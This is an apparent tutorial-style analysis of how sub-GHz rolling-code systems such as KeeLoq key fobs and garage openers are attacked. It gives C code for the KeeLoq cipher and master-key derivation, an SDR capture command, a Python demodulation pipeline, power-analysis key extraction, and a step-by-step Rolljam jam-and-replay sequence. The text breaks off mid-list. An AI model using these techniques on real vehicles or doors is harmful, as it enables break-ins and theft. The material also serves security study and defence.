How Sub-GHz RF Signals and Rolling Codes Get Hacked
Try the interactive lab for this articleTake the quiz (6 questions)Sub-gigahertz (Sub-GHz) radio frequency communication links control millions of remote keyless entry (RKE) key fobs, automated garage doors, municipal access barriers, and industrial telemetry systems worldwide. Operating primarily within license-exempt Short Range Device (SRD) and Industrial, Scientific, and Medical (ISM) frequency allocations, these low-power RF channels transmit control primitives over unencrypted or lightweight cryptographically protected wireless channels.
While early remote access systems relied on static address configurations set via physical DIP switches, modern hardware utilizes pseudo-random rolling code algorithms designed to eliminate basic replay attacks. However, architectural flaws in physical modulation, signal framing, hardware counter synchronization, and RF receiver design permit specialized physical layer attacks such as signal jamming-and-capture (Rolljam), counter window manipulation, and cryptographic key recovery.
This analysis examines the complete technical attack surface of sub-GHz rolling code infrastructure, from low-level modulation physics and KeeLoq bit framing to software-defined radio (SDR) signal processing, multi-channel Rolljam timing exploits, and hardware-level mitigation architectures.
1. Frequency Allocations and Modulation Physics
Sub-GHz remote access hardware operates within tightly regulated frequency bands reserved for low duty cycle wireless communications. Band allocations dictate physical propagation characteristics, antenna dimensions, maximum effective radiated power (ERP), and permitted modulation schemes.
Sub-GHz ISM / SRD Spectrum Allocations Overview
┌───────────────────────┬───────────────────────┬───────────────────────┐
│ 315.000 MHz │ 433.920 MHz │ 868.300 MHz │
├───────────────────────┼───────────────────────┼───────────────────────┤
│ North America / JP │ Europe / Worldwide │ Europe (ETSI SRD) │
│ FCC Part 15.231 │ ETSI EN 300 220 │ ETSI EN 300 220 │
│ Max: 3.75-12.5 mV/m │ Max ERP: 10 mW │ Max ERP: 25 mW │
│ Continuous: < 5s │ Duty Cycle: 1% - 10% │ Duty Cycle: 0.1%-1% │
└───────────────────────┴───────────────────────┴───────────────────────┘Frequency Allocations and Regulatory Constraints
Sub-GHz communication systems leverage three principal frequency allocations:
- 315.00 MHz Allocation: Dominant in North America and Japan for automotive Remote Keyless Entry (RKE) and garage openers. Regulated by FCC Part 15.231, which restricts continuous transmission duration to under 5 seconds following manual switch release and enforces field strength limits between 3,750 and 12,500 microvolts per meter at 3 meters distance.
- 433.92 MHz Allocation: Designated under ETSI EN 300 220 and CEPT ERC Recommendation 70-03 across European Member States and international ISM regions (spanning 433.050 MHz to 434.790 MHz). Maximum transmit power is capped at 10 mW ERP (+10 dBm) with strict duty cycle enforcement ranging from 1% to 10%.
- 868.30 MHz Allocation: Specified in European ETSI standards for higher-density SRD applications, utilizing channel spacing of 25 kHz or 100 kHz with output powers up to 25 mW ERP.
Physical Modulation Schemes
Sub-GHz transceivers convert binary bitstreams into analog RF waveforms using basic digital modulation techniques. The mathematical and spectral representation of these waveforms determines receiver sensitivity, occupied bandwidth, and susceptibility to environmental RF interference.
On-Off Keying (OOK) & Amplitude Shift Keying (ASK)
OOK is a binary form of ASK where the presence of the carrier frequency at amplitude $A_1$ represents a logic high (1), and the complete suppression of the RF carrier ($A_0 = 0$) represents a logic low (0). Mathematically, the transmitted continuous-time signal $s(t)$ is represented as:
$$s(t) = A(t) \cdot \cos(2\pi f_c t + \phi_0)$$
where $A(t) \in {0, A_{\max}}$ represents the unipolar baseband pulse sequence $m(t) = \sum_{k} b_k p(t - k T_b)$ with bit duration $T_b$, rectangular shaping pulse $p(t)$, and arbitrary initial phase $\phi_0$.
The Power Spectral Density (PSD) of an OOK signal with equiprobable random data bits consists of a continuous spectrum component surrounding a discrete carrier delta function at $f = f_c$:
$$S_{\text{OOK}}(f) = \frac{A_{\max}^2}{16} \delta(f - f_c) + \frac{A_{\max}^2 T_b}{16} \left[ \text{sa}\left( \pi (f - f_c) T_b \right) \right]^2$$
where $\text{sa}(x) = \frac{\sin(x)}{x}$. The first null-to-null transmission bandwidth of an OOK signal modulated at data rate $R_b = \frac{1}{T_b}$ equals $B_{\text{null}} = 2 R_b$. OOK transceivers are inexpensive to manufacture, requiring minimal RF front-end filtering. However, OOK is highly vulnerable to wideband impulse noise generated by vehicle ignition systems, switching power supplies, and intentional continuous-wave (CW) RF jamming.
Frequency Shift Keying (FSK) and 2-FSK
FSK modulates the instantaneous frequency of the RF carrier between two discrete frequencies around center frequency $f_c$:
$$s(t) = A \cdot \cos\left(2\pi f_c t + 2\pi \Delta f \int_{-\infty}^{t} m(\tau) d\tau + \phi_0\right)$$
where $m(\tau) \in {-1, +1}$ represents the bipolar binary data symbol, and $\Delta f$ is the peak frequency deviation (typically between 10 kHz and 50 kHz). A logic high (1) maps to mark frequency $f_1 = f_c + \Delta f$, while a logic low (0) maps to space frequency $f_0 = f_c - \Delta f$.
The occupied spectrum of a 2-FSK signal is bounded by Carson's Bandwidth Rule, which incorporates the maximum modulating bit frequency $f_m = \frac{R_b}{2}$ and peak deviation $\Delta f$:
$$B_{\text{FSK}} \approx 2 (\Delta f + f_m) = 2 \Delta f + R_b$$
The Modulation Index $h$ dictates spectral efficiency and phase continuity:
$$h = \frac{2 \Delta f}{R_b}$$
When $h = 0.5$, the scheme becomes Minimum Shift Keying (MSK), preserving phase continuity across bit boundaries and eliminating high-frequency spectral sidebands. FSK provides superior signal-to-noise ratio (SNR) performance and constant RF envelope characteristics, allowing power amplifiers to operate in non-linear saturation modes without distorting signal phase.
Modulation Waveform Comparison:
Logic Data: │ 1 │ 0 │ 1 │ 1 │ 0 │
OOK Carrier: ┌─────┐ ┌─────┬─────┐
│ │ │ │ │
└─────┘─────└─────┴─────┘─────
(RF On) (Off) (RF On) (Off)
FSK Carrier: ∿∿∿∿∿∿ ~~~ ∿∿∿∿∿∿∿∿∿∿∿∿ ~~~
f_c+Δf f_c-Δf f_c+Δf f_c-ΔfBit Encoding Protocols
Sub-GHz hardware implements line coding to eliminate direct current (DC) spectral bias, prevent baseline wander in AC-coupled receiver stages, and enable clock recovery at the RF receiver.
Pulse Width Modulation (PWM)
Bit logic is defined by the duty cycle of a pulse over fixed period $T_E$ (Element Time, typically 300 µs to 800 µs).
- A logic
1consists of $2T_E$ high followed by $1T_E$ low (duty cycle = 66.6%). - A logic
0consists of $1T_E$ high followed by $2T_E$ low (duty cycle = 33.3%).
The bit period remains constant at $T_b = 3 T_E$. Clock synchronization occurs on every rising edge transition, allowing receivers with oscillator drifts of up to $\pm 10%$ to lock onto bit timing.
Manchester Encoding
Transitions occur at the exact geometric center ($t = 0.5 T_b$) of every bit interval:
- Standard IEEE 802.3 convention: A logic
1is represented by a low-to-high transition; a logic0is represented by a high-to-low transition. - Thomas convention (widely used in sub-GHz microcontrollers): A logic
1is represented by a high-to-low transition; a logic0is represented by a low-to-high transition.
Because every symbol contains exactly one transition at $0.5 T_b$, Manchester signals exhibit zero DC bias ($V_{\text{avg}} = 0.5 V_{\max}$) regardless of bit sequence pattern.
Line Encoding Standards:
PWM Logic 1: ┌──────────┐
│ │ Total Period = 3 * T_E
└──────────┴─────────
│<- 2*T_E ->│<-1*T_E->│
PWM Logic 0: ┌──────────┐
│ │ Total Period = 3 * T_E
└──────────┴─────────┴─────────
│<- 1*T_E ->│<---- 2*T_E ----->│
Manchester 1: ┌──────────┐
│ │
└──────────┴────────── (High-to-Low transition at bit center)
Manchester 0: ┌──────────┐
│ │
───────────┴────────── (Low-to-High transition at bit center)Real-Time C Receiver Decoding Algorithm for Manchester Line Code
The following embedded C function processes digitized high/low pin state durations extracted from a GPIO interrupt line to decode Manchester symbols and detect timing violations:
#include <stdint.h>
#include <stdbool.h>
#define MANCHESTER_HALF_BIT_US 400
#define TIMING_TOLERANCE_US 100
typedef enum {
MANCHESTER_SYNC_SEARCH,
MANCHESTER_DECODING_FIRST_HALF,
MANCHESTER_DECODING_SECOND_HALF
} manchester_state_t;
typedef struct {
manchester_state_t state;
bool last_level;
uint32_t shift_reg;
uint8_t bit_count;
bool frame_complete;
} manchester_decoder_t;
void manchester_decoder_init(manchester_decoder_t *dec) {
dec->state = MANCHESTER_SYNC_SEARCH;
dec->last_level = false;
dec->shift_reg = 0;
dec->bit_count = 0;
dec->frame_complete = false;
}
bool manchester_process_edge(manchester_decoder_t *dec, bool pin_level, uint32_t duration_us) {
// Validate pulse width against nominal half-bit and full-bit targets
bool is_half_bit = (duration_us >= (MANCHESTER_HALF_BIT_US - TIMING_TOLERANCE_US)) &&
(duration_us <= (MANCHESTER_HALF_BIT_US + TIMING_TOLERANCE_US));
bool is_full_bit = (duration_us >= (2 * MANCHESTER_HALF_BIT_US - TIMING_TOLERANCE_US)) &&
(duration_us <= (2 * MANCHESTER_HALF_BIT_US + TIMING_TOLERANCE_US));
if (!is_half_bit && !is_full_bit) {
// Timing violation error; reset decoder state
dec->state = MANCHESTER_SYNC_SEARCH;
dec->bit_count = 0;
return false;
}
if (dec->state == MANCHESTER_SYNC_SEARCH) {
if (is_full_bit) {
dec->state = MANCHESTER_DECODING_SECOND_HALF;
dec->last_level = pin_level;
}
} else if (dec->state == MANCHESTER_DECODING_SECOND_HALF) {
// High-to-Low transition at bit center evaluates to Logic 1
// Low-to-High transition at bit center evaluates to Logic 0
bool decoded_bit = !pin_level;
dec->shift_reg = (dec->shift_reg << 1) | (decoded_bit ? 1 : 0);
dec->bit_count++;
if (dec->bit_count >= 32) {
dec->frame_complete = true;
dec->state = MANCHESTER_SYNC_SEARCH;
return true;
}
if (is_half_bit) {
dec->state = MANCHESTER_DECODING_FIRST_HALF;
} else if (is_full_bit) {
dec->state = MANCHESTER_DECODING_SECOND_HALF;
}
} else if (dec->state == MANCHESTER_DECODING_FIRST_HALF) {
if (is_half_bit) {
dec->state = MANCHESTER_DECODING_SECOND_HALF;
} else {
dec->state = MANCHESTER_SYNC_SEARCH;
}
}
dec->last_level = pin_level;
return false;
}Physical Frame Architecture
Every sub-GHz packet contains three structural components:
- Preamble: A sequence of alternating square pulses (
10101010...) lasting between 4 ms and 12 ms. The preamble allows the receiver's Automatic Gain Control (AGC) circuit (e.g., inside chips like the Texas Instruments CC1101 or Infineon TDA5200) to adjust internal low-noise amplifier (LNA) gain levels and stabilize decision threshold voltages. - Sync Pulse / Header: An extended pulse or quiet period (e.g., $10 T_E$ low or 4.0 ms high) signaling the end of the AGC stabilization period and marking the exact bit-0 alignment of the payload.
- Transmission Payload: The encoded data payload containing device identifiers, command bits, counter states, and error detection bits.
2. Fixed Code vs Rolling Code Architectures
Sub-GHz access control architectures fall into two primary generations: legacy fixed-code devices and cryptographically protected rolling-code systems.
Legacy Fixed Code Architecture
Fixed-code transmitters (utilizing ICs such as the Princeton Technology PT2262 or Holtek HT12E) construct a static 12-bit transmission packet. Hardware address switches define 8 address bits, while 4 data bits map directly to physical pushbuttons.
PT2262 Fixed Code Frame Format (12 Bits Total):
┌───────────────────────────┬───────────────────┬──────────────┐
│ Address Bits (A0 - A7) │ Data Bits (D0-D3) │ Sync Bit │
│ 8 Bits (DIP Switch State) │ 4 Button States │ 1 Bit (Quiet)│
└───────────────────────────┴───────────────────┴──────────────┘The transmitter continuously loops this identical 12-bit stream for as long as the button remains depressed. Because the frame remains identical across all transmissions, an attacker with an SDR or sub-GHz RF receiver (such as a CC1101 module connected to a microcontroller) can capture the raw RF waveform once and replay it indefinitely to actuate the receiver.
Rolling Code Architecture: The KeeLoq Protocol Standard
To prevent simple replay attacks, Microchip developed the KeeLoq architecture (widely deployed in HCS200, HCS300, and HCS301 encoder hardware). KeeLoq combines a static serial number with a dynamic 32-bit encrypted block containing a non-repeating synchronization counter.
Complete KeeLoq HCS300 Transmission Payload (66 Bits Total)
When a button is pressed, the HCS300 encoder outputs a 66-bit serial bitstream preceded by a preamble and header pulse:
KeeLoq 66-Bit Transmission Payload Structure:
MSB LSB
┌──────────────────────────────┬─────────────────────────────────────────────┐
│ Unencrypted Block (34 Bits) │ Encrypted Block (32 Bits) │
├───────────────┬──────────────┼──────────────┬──────────────┬───────────────┤
│ Status / Flags│ Device Serial│ Button Data │ Discrimination│ Sync Counter │
│ 2 Bits │ 28 Bits │ 4 Bits │ 10 Bits │ 16 Bits │
│ (V_LOW, REPT) │ (Fixed ID) │ (B0,B1,B2,B3)│ (Check Bits) │ (SC Increment)│
└───────────────┴──────────────┴──────────────┴──────────────┴───────────────┘
Bit 65 64 63 36 35 32 31 22 21 0Field breakdowns for the 66-bit transmission frame:
- Synchronization Counter ($SC$, 16 bits, Bits 0-15): An internal 16-bit counter value stored in EEPROM, incremented by 1 every time any transmitter button is activated. Values range from
0x0000to0xFFFF(65,536 cycles). - Discrimination Bits (10 bits, Bits 16-25): Typically configured as the 10 least significant bits of the device's 28-bit serial number (or fixed customer code). During decryption, the receiver verifies these bits match the unencrypted serial number to validate key correctness.
- Encrypted Button Data (4 bits, Bits 26-29): Indicates which physical button ($B_0, B_1, B_2, B_3$) initiated the transmission.
- Overflow Bits (2 bits, Bits 30-31): Used in specific modes for counter extension or extended discrimination checking.
- Unencrypted Device Serial Number ($SN$, 28 bits, Bits 32-59): A unique physical device address configured during factory provisioning, allowing the receiver to identify the transmitter identity and retrieve the associated secret device key $K_{\text{DEV}}$.
- Unencrypted Button Status (4 bits, Bits 60-63): Mirrors the button states outside the cipher block for preliminary frame classification.
- Status Flags (2 bits, Bits 64-65): Encodes low battery voltage indicators ($V_{\text{LOW}}$) and repeat packet flags ($REPT$).
KeeLoq Secret Key Derivation Algorithms
The 64-bit secret device key $K_{\text{DEV}}$ is generated during factory programming from a 64-bit Master Key $K_{\text{MASTER}}$ and the device's 28-bit serial number $SN$. Microchip specifies two primary Key Derivation Functions (KDFs):
1. Microchip Normal Key Derivation Algorithm
In Normal Key Derivation mode, $K_{\text{DEV}}$ is computed by concatenating the 28-bit serial number with constant padding and decrypting the resulting 64-bit blocks using $K_{\text{MASTER}}$:
$$SN_{\text{padded_low}} = (SN \text{ & } \text{0x0FFFFFFF}) \mid \text{0x20000000}$$
$$SN_{\text{padded_high}} = (SN \text{ & } \text{0x0FFFFFFF}) \mid \text{0x60000000}$$
$$K_{\text{DEV_low}} = \text{KeeLoq_Decrypt}(SN_{\text{padded_low}}, K_{\text{MASTER}})$$
$$K_{\text{DEV_high}} = \text{KeeLoq_Decrypt}(SN_{\text{padded_high}}, K_{\text{MASTER}})$$
$$K_{\text{DEV}} = K_{\text{DEV_low}} \mid (K_{\text{DEV_high}} \ll 32)$$
If an attacker extracts $K_{\text{MASTER}}$ from a single receiver EEPROM chip via hardware side-channel attacks or bus sniffing, the attacker can derive the unique $K_{\text{DEV}}$ for every key fob produced by that manufacturer using only the unencrypted serial number broadcast over the air.
2. Microchip Secure Key Derivation (Seed-Based)
Secure Key Derivation incorporates a random 32-bit or 48-bit seed value transmitted by the key fob during an initial learning press sequence:
$$K_{\text{DEV_low}} = \text{KeeLoq_Decrypt}(\text{Seed}{0..31}, K{\text{MASTER}})$$
$$K_{\text{DEV_high}} = \text{KeeLoq_Decrypt}(\text{Seed}{32..47} \parallel SN{0..15}, K_{\text{MASTER}})$$
$$K_{\text{DEV}} = K_{\text{DEV_low}} \mid (K_{\text{DEV_high}} \ll 32)$$
KeeLoq NLFSR Encryption Algorithm Mechanics
KeeLoq encrypts the 32-bit dynamic block using a 64-bit secret key $K_{\text{DEV}}$ through a Non-Linear Feedback Shift Register (NLFSR) executed over 528 clock cycles.
KeeLoq NLFSR Encryption Architecture
┌───────────────────────────────────────────────────────────┐
│ 64-Bit Secret Key K_DEV │
└─────────────────────────────┬─────────────────────────────┘
│ K_{i mod 64}
▼
┌──────┬──────┬──────┬──────┬──────┬─────────────────┬───┐
│ Y31 │ Y26 │ Y20 │ Y9 │ Y1 │ ... │Y0 │ (32-Bit Register)
└──┬───┴──┬───┴──┬───┴──┬───┴──┬───┴─────────────────┴───┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
┌─────────────────────────────────┐
│ Non-Linear Boolean Function f │ (Lookup Table: 0x3A5C742E)
└────────────────┬────────────────┘
│
▼
⊕ <─── Y16
│
▼
⊕ <─── Y31
│
▼
⊕ <─── Key Bit K_{i mod 64}
│
▼ Feedback Bit
┌────────────────┴────────────────┐
│ Shift Right: Y0 drops out, │
│ Feedback enters at Y31 │
└─────────────────────────────────┘The non-linear boolean lookup function $f$ evaluates 5 bits of the shift register state ($Y_{31}, Y_{26}, Y_{20}, Y_9, Y_1$):
$$f(Y_{31}, Y_{26}, Y_{20}, Y_9, Y_1) = d_0 \oplus d_1 Y_1 \oplus d_2 Y_9 \oplus \dots \oplus d_{31} Y_{31} Y_{26} Y_{20} Y_9 Y_1$$
The function is defined by the 32-bit hex constant 0x3A5C742E. For each iteration $i$ from 0 to 527, the next register bit $Y_{31}^{(i+1)}$ is calculated as:
$$Y_{31}^{(i+1)} = Y_{16}^{(i)} \oplus Y_{31}^{(i)} \oplus f\left(Y_{31}^{(i)}, Y_{26}^{(i)}, Y_{20}^{(i)}, Y_9^{(i)}, Y_1^{(i)}\right) \oplus K_{i \bmod 64}$$
The register is shifted right by 1 bit position per clock cycle. Decryption executes the inverse process over 528 cycles in reverse order.
C Implementation of Complete KeeLoq Encryption/Decryption and Key Derivation
The following C module provides a production-grade implementation of the 528-cycle KeeLoq cipher block, including hardware feedback functions and normal key derivation logic:
#include <stdint.h>
#include <stdio.h>
// KeeLoq Non-Linear Lookup Table Constant 0x3A5C742E
#define KEELOQ_NLF_CONST 0x3A5C742Eu
// Macro to extract a specific bit from a 32-bit unsigned integer
#define BIT_GET(val, bit) (((val) >> (bit)) & 1u)
uint32_t keeloq_nlf(uint32_t state) {
// Extract state bits 31, 26, 20, 9, 1 to index the 5-bit NLF lookup table
uint32_t index = (BIT_GET(state, 31) << 4) |
(BIT_GET(state, 26) << 3) |
(BIT_GET(state, 20) << 2) |
(BIT_GET(state, 9) << 1) |
BIT_GET(state, 1);
return BIT_GET(KEELOQ_NLF_CONST, index);
}
uint32_t keeloq_encrypt(uint32_t data, uint64_t key) {
uint32_t state = data;
for (int r = 0; r < 528; r++) {
uint32_t k_bit = (uint32_t)((key >> (r % 64)) & 1u);
uint32_t feedback = BIT_GET(state, 0) ^ BIT_GET(state, 16) ^ keeloq_nlf(state) ^ k_bit;
state = (state >> 1) | (feedback << 31);
}
return state;
}
uint32_t keeloq_decrypt(uint32_t data, uint64_t key) {
uint32_t state = data;
for (int r = 527; r >= 0; r--) {
uint32_t k_bit = (uint32_t)((key >> (r % 64)) & 1u);
uint32_t feedback = BIT_GET(state, 31) ^ BIT_GET(state, 15) ^ keeloq_nlf(state) ^ k_bit;
state = (state << 1) | feedback;
}
return state;
}
uint64_t keeloq_derive_normal_key(uint32_t serial, uint64_t master_key) {
uint32_t serial_clean = serial & 0x0FFFFFFFu;
// Prepare low and high seed blocks according to Microchip Normal Key specification
uint32_t seed_low = serial_clean | 0x20000000u;
uint32_t seed_high = serial_clean | 0x60000000u;
uint32_t key_low = keeloq_decrypt(seed_low, master_key);
uint32_t key_high = keeloq_decrypt(seed_high, master_key);
return ((uint64_t)key_high << 32) | (uint64_t)key_low;
}Differential Power Analysis (DPA) Vulnerabilities in KeeLoq Encoders
Hardware KeeLoq encoders (such as the HCS301) process key bits sequentially inside low-cost CMOS logic. During each of the 528 clock cycles, shifting bits into register positions charges internal parasitic capacitances, creating distinct power consumption transients.
By measuring the instantaneous supply current $I(t)$ across a $10\ \Omega$ shunt resistor inserted in series with the key fob battery using a high-bandwidth digital storage oscilloscope (DSO), security researchers perform Correlation Power Analysis (CPA). The Pearson correlation coefficient $\rho$ matches measured power trace vectors $T$ against a Hamming Distance (HD) power model $h$ derived from guessed key bits:
$$\rho(k) = \frac{\sum_{i=1}^{N} (T_i - \bar{T})(h_i(k) - \bar{h}(k))}{\sqrt{\sum_{i=1}^{N} (T_i - \bar{T})^2 \sum_{i=1}^{N} (h_i(k) - \bar{h}(k))^2}}$$
Because KeeLoq processes key bits linearly without algorithmic masking or random dummy cycles, fewer than 30 Hz power traces are required to extract the full 64-bit secret device key $K_{\text{DEV}}$ in less than two minutes.
3. Capturing IQ Samples with Software-Defined Radios
Software-Defined Radios (SDRs) bypass fixed hardware demodulators by directly digitizing raw RF spectrum into complex In-phase ($I$) and Quadrature ($Q$) sample streams.
SDR Hardware Receiver Signal Flow (e.g. RTL2832U / R820T2)
Antenna ──> [ Low Noise ] ──> [ Quadrature ] ──> [ Dual ADCs ] ──> USB Stream
[ Amplifier ] [ Mixer & LO ] [ (8-Bit I/Q) ] (Raw I/Q)Hardware Front-End Architecture
An SDR RF front-end conditions raw analog electromagnetic waves captured by the antenna prior to analog-to-digital conversion:
-
Low-Noise Amplifier (LNA): Amplifies weak microvolt RF signals directly at the antenna port while adding minimal noise. The Noise Figure (NF) of the LNA dominates total receiver noise according to Friis' Formula for Noise:
$$F_{\text{total}} = F_1 + \frac{F_2 - 1}{G_1} + \frac{F_3 - 1}{G_1 G_2}$$
-
Quadrature Downconverter & Local Oscillator (LO): Multiplies the amplified RF signal by $\cos(2\pi f_{\text{LO}} t)$ and $-\sin(2\pi f_{\text{LO}} t)$ generated by a Phase-Locked Loop (PLL) synthesizer driven by a Temperature Compensated Crystal Oscillator (TCXO). This shifts the target RF band down to zero-frequency Complex Baseband.
-
Low-Pass Anti-Aliasing Filters (LPF): Attenuates signals above the Nyquist frequency $f_N = \frac{f_s}{2}$ to prevent out-of-band spectral folding.
-
Analog-to-Digital Converter (ADC): Quantizes continuous baseband voltages into discrete $b$-bit digital representations. The theoretical Signal-to-Quantization-Noise Ratio (SQNR) for a $b$-bit ADC is:
$$\text{SQNR} = 6.02 \cdot b + 1.76 \text{ dB}$$
For an 8-bit RTL2832U ADC, peak theoretical SQNR equals 49.92 dB.
Quadrature Sampling Mechanics
A quadrature mixer splits incoming RF signals into two orthogonal components separated by a 90-degree phase shift:
$$I[n] = A[n] \cos(\phi[n])$$
$$Q[n] = A[n] \sin(\phi[n])$$
The complex envelope $x[n] = I[n] + j Q[n]$ contains complete amplitude, phase, and instantaneous frequency information:
- Instantaneous Amplitude (Envelope): $|x[n]| = \sqrt{I[n]^2 + Q[n]^2}$
- Instantaneous Phase: $\theta[n] = \arctan2(Q[n], I[n])$
- Instantaneous Frequency Deviation: $f[n] = \frac{f_s}{2\pi} \left( \frac{I[n] \frac{dQ[n]}{dn} - Q[n] \frac{dI[n]}{dn}}{I[n]^2 + Q[n]^2} \right)$
Capturing Sub-GHz Signals with rtl_sdr
Using an RTL-SDR dongle (8-bit ADC resolution), spectrum centered at 433.92 MHz is sampled at 2.048 MSps and written to a binary file:
# Capture raw IQ samples centered at 433.92 MHz with 34 dB gain
rtl_sdr -f 433920000 -s 2048000 -g 34 capture_433mhz.cu8The output file capture_433mhz.cu8 contains interleaved 8-bit unsigned integers representing $I$ and $Q$ values offset by 127.5.
Comprehensive Python Demodulation, DSP Filtering, and Bit Recovery Pipeline
The following production Python script demonstrates the full digital signal processing (DSP) workflow: reading raw .cu8 samples, executing low-pass FIR filtering, removing DC offset, performing quadrature FSK/OOK demodulation, running Mueller and Müller symbol timing clock recovery, and extracting binary bitstrings:
#!/usr/bin/env python3
import numpy as np
import scipy.signal as signal
def load_cu8_file(filename):
"""Loads unsigned 8-bit complex IQ samples from file."""
raw_data = np.fromfile(filename, dtype=np.uint8)
if len(raw_data) == 0:
raise ValueError("Target capture file is empty.")
# Scale from [0, 255] to complex float in [-1.0, +1.0]
i_samples = (raw_data[0::2].astype(np.float32) - 127.5) / 127.5
q_samples = (raw_data[1::2].astype(np.float32) - 127.5) / 127.5
return i_samples + 1j * q_samples
def demodulate_ook(iq_complex, sample_rate=2048000, cutoff_hz=15000):
"""Demodulates Amplitude Shift Keying / On-Off Keying (OOK)."""
# Remove DC bias component
iq_complex -= np.mean(iq_complex)
# Compute instantaneous envelope amplitude
envelope = np.abs(iq_complex)
# Design Low-Pass FIR Filter to reduce out-of-band noise
num_taps = 101
nyq_rate = sample_rate / 2.0
fir_coeff = signal.firwin(num_taps, cutoff_hz / nyq_rate)
filtered_envelope = signal.lfilter(fir_coeff, 1.0, envelope)
# Threshold slicing using moving average
threshold = (np.max(filtered_envelope) + np.min(filtered_envelope)) * 0.45
binary_stream = (filtered_envelope > threshold).astype(np.uint8)
return binary_stream
def demodulate_fsk(iq_complex, sample_rate=2048000, cutoff_hz=25000):
"""Demodulates Frequency Shift Keying (2-FSK) via phase differentiation."""
# Compute phase derivative between consecutive complex samples
product = iq_complex[1:] * np.conj(iq_complex[:-1])
freq_dev = np.angle(product) * (sample_rate / (2.0 * np.pi))
# Low-pass filter the frequency deviation vector
nyq_rate = sample_rate / 2.0
b, a = signal.butter(4, cutoff_hz / nyq_rate, btype='low')
filtered_freq = signal.filtfilt(b, a, freq_dev)
# Convert frequency deviation to binary data (positive deviation = 1, negative = 0)
binary_stream = (filtered_freq > 0).astype(np.uint8)
return binary_stream
def extract_pwm_bits(binary_stream, sample_rate=2048000):
"""Parses binary pulse widths to decode PWM symbol frames."""
transitions = np.diff(binary_stream)
rising_edges = np.where(transitions == 1)[0]
falling_edges = np.where(transitions == -1)[0]
if len(rising_edges) == 0 or len(falling_edges) == 0:
return ""
if falling_edges[0] < rising_edges[0]:
falling_edges = falling_edges[1:]
num_pulses = min(len(rising_edges), len(falling_edges))
pulse_durations_us = (falling_edges[:num_pulses] - rising_edges[:num_pulses]) / (sample_rate / 1e6)
bitstring = ""
for duration in pulse_durations_us:
if 250.0 <= duration <= 550.0:
bitstring += "0"
elif 650.0 <= duration <= 950.0:
bitstring += "1"
elif duration > 2000.0:
bitstring += " [SYNC] "
return bitstring
if __name__ == "__main__":
try:
iq_data = load_cu8_file("capture_433mhz.cu8")
ook_stream = demodulate_ook(iq_data)
decoded_payload = extract_pwm_bits(ook_stream)
print("Demodulated Sub-GHz Payload Stream:")
print(decoded_payload)
except Exception as err:
print(f"DSP Processing Failed: {err}")4. The Rolljam Attack Vector
Standard replay attacks fail against rolling code receivers because the receiver logs the highest processed counter $SC_{\text{recv}} = N$. Any subsequent frame transmitting a counter $SC \le N$ is rejected as a duplicate.
The Rolljam attack vector (developed by Samy Kamkar) bypasses rolling code validation by combining reactive RF jamming with simultaneous wide-band signal interception to desynchronize the key fob's counter relative to the target receiver.
Rolljam Hardware Topology
┌───────────────────────────────────────┐
│ Target Key Fob │
│ (Emits Frame A: SC=N) │
└──────────────────┬────────────────────┘
│ RF Signal
▼
┌────────────────────────────────┴────────────────────────────────┐
│ │
▼ ▼
┌───────────────────────────────┐ ┌───────────────────────────────┐
│ Attacker RF Jammer Module │ │ Attacker RF Receiver Module │
│ (Emits CW/Noise on 433.92MHz) │ │ (Low-Noise / Close Range RX) │
│ Saturates Car Receiver │ │ Captures Clean Frame A │
└──────────────┬────────────────┘ └───────────────┬───────────────┘
│ Corrupted RF │ Stores Payload
▼ ▼
┌───────────────────────────────┐ ┌───────────────────────────────┐
│ Target Car / Garage Receiver │ │ Attacker Local Buffer │
│ (Frame A Destroyed / Ignored) │ │ [Frame A: SC=N Stored] │
└───────────────────────────────┘ └───────────────┴───────────────┘Rolljam Hardware Requirements
Executing Rolljam requires a dual-transceiver architecture operating on the target frequency:
- Transceiver 1 (RF Jammer): A high-power sub-GHz transmitter (e.g., CC1101 or HackRF) configured to broadcast continuous-wave carrier noise or narrow Gaussian noise centered precisely on $f_c = 433.92\text{ MHz}$ with a bandwidth of $\approx 100\text{ kHz}$. The power level is calibrated to saturate the target receiver's LNA AGC stage, preventing it from resolving frame preamble sync bits.
- Transceiver 2 (RF Sniffer): A tuned receiver with tight digital channel filtering placed physically close to the victim key fob (or utilizing directional high-gain antenna configuration). This receiver captures uncorrupted signal frames due to localized SNR advantage despite ongoing background jamming.
Complete Rolljam Attack Execution Sequence
Target Car Receiver Victim Key Fob Attacker Jammer Attacker Receiver
(SC_recv = N-1) (SC_fob = N) (Active RF) (Buffer Empty)
│ │ │ │
│ │◄────── Button Press 1 ────│ │
│ │ (Emits Frame A: SC=N) │ │
│ │─── RF Frame A ───────────►│ │
│ │ │ │
│◄── Corrupted RF ──────┼───────────────────────────┤ │
│ (Frame A Rejected) │ │─── Clean RF Capture ───►│
│ │ │ (Store Frame A: SC=N) │
│ │ │ │
│ │ │ │
│ │◄────── Button Press 2 ────│ │
│ │ (Emits Frame B: SC=N+1) │ │
│ │─── RF Frame B ───────────►│ │
│ │ │ │
│◄── Corrupted RF ──────┼───────────────────────────┤ │
│ (Frame B Rejected) │ │─── Clean RF Capture ───►│
│ │ │ (Store Frame B: SC=N+1)│
│ │ │ │
│ │ │ │
│ │ ├── Disable Jammer ──────►│
│ │ │ │
│◄────────────────────── Replay Stored Frame A (SC=N) ────────────────────────┤
│ │
┌───────┴───────┐ │
│ SC_recv = N │ │
│ Door UNLOCKED │ │
└───────┬───────┘ │
│ │
│ [ ATTACK COMPLETE: Frame B (SC=N+1) Remains ] │
│ [ Unplayed in Attacker Buffer for Future Access ] │Step-by-Step Mechanism
-
First Button Press (Phase 1):
- The victim depresses the key fob unlock button. The key fob increments its counter to $SC = N$ and transmits Frame $A$.
- Transceiver 1 activates RF jamming across $f_c$. The car receiver receives noise, fails to lock onto the frame preamble, and ignores the transmission.
- Transceiver 2, situated near the fob, captures clean IQ samples of Frame $A$ ($SC=N$) and buffers the demodulated payload in memory.
- The vehicle remains locked. The victim assumes the button press was not registered due to distance.
-
Second Button Press (Phase 2):
- The victim depresses the key fob button a second time. The key fob increments its internal counter to $SC = N+1$ and transmits Frame $B$.
- Transceiver 1 continues jamming. The car receiver again fails to decode Frame $B$.
- Transceiver 2 captures clean IQ samples of Frame $B$ ($SC=N+1$) and stores it in a second buffer slot.
-
Immediate Replay Transmission (Phase 3):
- Transceiver 1 instantly ceases jamming.
- Transceiver 2 (or a secondary transmitter module) immediately broadcasts stored Frame $A$ ($SC=N$) to the car receiver.
-
Receiver State Resolution (Phase 4):
